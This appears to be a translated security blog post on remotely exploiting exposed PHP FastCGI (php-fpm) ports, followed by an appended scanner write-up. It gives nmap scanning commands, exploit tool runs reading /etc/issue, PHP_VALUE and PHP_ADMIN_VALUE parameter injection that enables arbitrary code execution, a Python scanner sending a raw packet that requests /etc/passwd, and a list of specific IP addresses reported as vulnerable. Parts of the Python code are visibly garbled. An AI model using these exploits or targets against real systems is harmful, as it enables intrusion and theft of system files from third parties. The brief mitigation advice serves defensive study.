Remote Utilization of PHP FastCGI
Speaking of FastCGI, we all know that this is currently one of the most common webserver dynamic script execution model. At present, basically all web scripts basically support this model, and even some types of scripts this is the only model (ROR, Python, etc.).
The main purpose of FastCGI is to separate the webserver and dynamic language execution into two different resident processes. When the webserver receives a request for a dynamic script, it forwards the request to the fcgi process through the network via the fcgi protocol, and after processing by the fcgi process, the result is then transmitted to the webserver, and then the The fcgi process processes the request and sends the result to the webserver, which then outputs it to the browser. This model does not need to restart a cgi for each request, and do not need to embed the script parser into the webserver, so the scalability is very strong, once the amount of dynamic script requests increase, you can set up a separate back-end fcgi process to provide services in a cluster, a great increase in maintainability, which is why fcgi and other similar models are so popular one of the reasons.
However, because of this model, it also brings some problems. For example, the "nginx File Parsing Vulnerability" released by 80sec last year was actually caused by a difference in how fcgi and webserver interpret script path-level parameters. In addition, since fcgi and webserver communicate over the network, more and more clusters are binding fcgi directly to the public network so that everyone can access it. This means that anyone can masquerade as a webserver and make fcgi execute the scripts we want to execute.
ok, the above is the background principle explanation, I will use my most familiar PHP here to give you an example.
php's fastcgi is now commonly called FPM, and it listens on port 9000 by default. Let's use nmap here to scan it directly:
nmap -sV -p 9000 --open /24
Why use sV? Because there may be other services on port 9000, and here we need to borrow nmap's fingerprinting to help us identify them first.
[root@test:~/work/fcgi]#nmap -sV -p 9000 --open .1/24
Starting Nmap 6.01 ( ) at 2012-09-14 20:06 EDT
Nmap scan report for (.111)
Host is up (0.0095s latency).
PORT STATE SERVICE VERSION
9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for (.183)
Host is up (0.0096s latency).
PORT STATE SERVICE VERSION
9000/tcp open tcpwrapped
Service detection performed. Please report any incorrect results at /submit/ .
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds
Randomly scanned, and as luck would have it, there were 2 open 9000 ports in a C segment, but one of them was sshd modified by the administrator, and the other, tcpwrapped, was the one we were targeting.
For testing purposes, I wrote a fastcgi client program that makes requests directly to each other. What can we do with an open fastcgi? Here and the ordinary http request is a little different, because the webserver in order to provide fastcgi some parameters, each time the request is forwarded to the fcgi process through the FASTCGI_PARAMS package to pass. Originally, these parameters are not controllable by the user, but since this fcgi is open to the public, it also means that we can set these parameters to allow us to do some things that we could not otherwise do:
[root@test:~/work/fcgi]#./fcgi_exp read .183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-type: text/html
Ubuntu 10.04.3 LTS \n \l
Reading the /etc/issue file, I can see that this is an ubuntu 10.04 machine. And how is that achieved? In fact, we just need to set DOCUMENT_ROOT to the root directory "/" in FASTCGI_PARAMS, and then set SCRIPT_FILENAME to /etc/issue, so that as long as we have permissions, we can control the fcgi to read any file on this machine. This is not actually reading it, but executing it with php.
Since it's an execution, so really this vulnerability is similar to a normal LFI vulnerability, if you know the path to the log on this machine, or any file path where you can control the contents, you can execute arbitrary code.
Is this the end of the story? No, it's still not convenient enough to use log or to guess other file paths to execute code, is there a more convenient way to utilize this to execute any code I submit?
The first thing I thought of was to pass the env parameter and then execute the file /proc/self/environ, but unfortunately php-fpm just changes the environment variables in memory after receiving my parameter value, and doesn't change the file directly. So I can't utilize it. Besides, this method is not common to all systems.
We also have a way, in my previous article "PoC and Technical Challenges for CVE-2012-1823 (PHP-CGI RCE)", to remotely execute arbitrary files by dynamically modifying the value of auto_prepend_file in. Turning an LFI vulnerability into an RFI so that the exploitable space is greatly increased.
Does fastcgi support similar dynamic modification of php's configuration? I did some digging and found that originally FPM didn't support it until a developer filed a bug and php officially Merged this feature into the php 5.3.3 source code.
Generally by setting FASTCGI_PARAMS, we can use PHP_ADMIN_VALUE and PHP_VALUE to dynamically modify php settings.
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
Utilizing the execution of php://input and then writing our php code in the contents of the POST so that it can be executed directly.
[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/ "id; uname -a"
X-Powered-By: PHP/5.5.0-dev
Content-type: text/html
uid=500(www) gid=500(www) groups=500(www)
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
Careful people will notice some changes here, I changed the local machine to do the test. Because the machine where I started to find the php version is 5.3.2, which is just below 5.3.3, so I can't use modify ini settings to execute the code, I can only guess the path.
Another change is that I'm reading the php file /tmp/ instead of /etc/issue, because since 5.3.9, the official php configuration "security.limit_extensions" only allows execution of files with extension ".php" by default. So you have to find an existing php file. This setting is in the ini, and can't be overridden by modifying the ini configuration. If anyone has a better way to get around this restriction, please let me know.
OK, so far all tests on php-fpm have been completed and we have been able to get a shell directly using an open fcgi process. Why don't you guys look into other fcgi's as well, and maybe you'll find out more.
How to prevent this vulnerability? Simple, never expose the fcgi interface to the public network. It is also hoped that fcgi will have an authentication mechanism in the future.
To compile on any system, please run it after installing golang:
go build fcgi_exp.go
fastcgi file read vulnerability python scan scripts
Fastcgi File Read (Code Execution) is a very old vulnerability, Vulnerability Description: Remote Exploitation of PHP FastCGI
The vulnerability can be exploited to read system files and even has some chance of successful code execution. Download the article mentioned above: fcgi_exp
The details of the protocol are not really my concern anymore, I just need a python scanning script. So take wireshark and grab GaRY's program and write a small piece of code.
Machines exposing port 9000 on the extranet are naturally very, very few, but the same can't be said for the intranet.
import socket import sys def test_fastcgi(ip): sock = (socket.AF_INET, socket.SOCK_STREAM); (5.0) ((ip, 9000)) data = """ 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 """ data_s = '' for _ in (): data_s += chr(int(_,16)) (data_s) try: ret = (1024) if (':root:') > 0: print ret print '%s is vulnerable!' % ip return True else: return False except Exception, e: pass () if __name__ == '__main__': if len() == 1: print [0], '[ip]' else: test_fastcgi([1])
A quick scan of port 9000 reveals several vulnerable machines:
110.164.68.137 is vul ! 110.164.68.148 is vul ! 110.164.68.149 is vul ! 110.164.68.151 is vul ! 110.164.68.154 is vul ! 110.164.68.155 is vul !
fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd